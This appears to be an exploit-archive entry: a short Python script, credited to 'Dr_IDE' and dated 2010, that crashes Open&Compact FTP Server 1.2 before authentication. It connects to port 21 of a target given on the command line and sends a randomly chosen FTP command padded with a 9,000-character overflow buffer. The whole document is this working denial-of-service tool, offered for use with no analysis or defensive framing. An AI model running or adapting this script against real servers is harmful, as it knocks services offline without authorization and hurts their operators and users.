Open And Compact FTP Server 1.2 Denial Of Service

`#!/usr/bin/python  
###################################################################  
#  
# Open&Compact Ftp Server 1.2 Universal Pre-Auth Denial of Service  
# Coded By: Dr_IDE  
# Found By: Ma3sTr0-Dz  
# Date: May 24, 2010  
# Download: http://sourceforge.net/projects/open-ftpd/  
# Tested: Windows 7  
#  
###################################################################  
  
import random, socket, sys  
  
host = (sys.argv[1])  
buff = ("A: " * 3000)  
cmds = ['ABOR', 'APPE', 'ALLO', 'PORT', 'USER', 'PASS', 'PASV', 'MKD', 'SIZE']  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print ("\r\n[i] Connecting to: " + host +"\r\n")  
s.connect((host, 21))  
d=s.recv(1024)  
print (d)  
magic=random.choice(cmds)  
print ("[*] Finding vulnerable commands.\r\n")  
print ("[*] Performing some kind of complex calculations...\r\n")  
print ("[*] Crashing server with command: " + magic + "\r\n")  
s.send(magic + " " + buff + '\r\n')  
print ("[i] Server Down")  
s.close()  
  
# End  
`